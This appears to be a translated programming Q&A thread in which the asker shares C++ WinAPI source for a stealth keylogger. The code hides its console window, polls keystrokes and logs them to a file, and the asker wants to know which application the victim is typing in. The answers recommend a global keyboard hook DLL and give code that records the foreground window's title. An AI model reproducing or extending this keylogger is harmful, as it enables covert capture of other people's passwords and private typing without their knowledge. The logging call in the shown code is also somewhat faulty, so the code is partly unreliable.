4

我正在尝试使用 WinAPI 在 C++ 中编写一个简单的键盘记录器。有没有办法让用户在哪个应用程序中键入捕获的击键?到目前为止,这是我的代码:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}
4

2 回答 2

3

你想要的是一个全局键盘钩子

全局挂钩监视与调用线程相同的桌面中的所有线程的消息。特定于线程的挂钩仅监视单个线程的消息。全局挂钩过程可以在与调用线程相同的桌面中的任何应用程序的上下文中调用,因此该过程必须位于单独的 DLL 模块中。仅在关联线程的上下文中调用特定于线程的钩子过程。如果应用程序为其自己的线程之一安装挂钩过程,则挂钩过程可以与应用程序的其余代码位于同一模块中,也可以位于 DLL 中。如果应用程序为不同应用程序的线程安装挂钩过程,则该过程必须在 DLL 中。有关信息,请参阅动态链接库。

于 2013-03-13T18:04:16.827 回答
0

由于问题是“有没有办法让用户在哪个应用程序中键入捕获的击键?” 我会说使用 HWND WINAPI GetForegroundWindow(void);

例如:

char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));

在 cWindow 中,您可以获得用户正在输入的窗口的标题。

于 2013-03-17T20:48:19.727 回答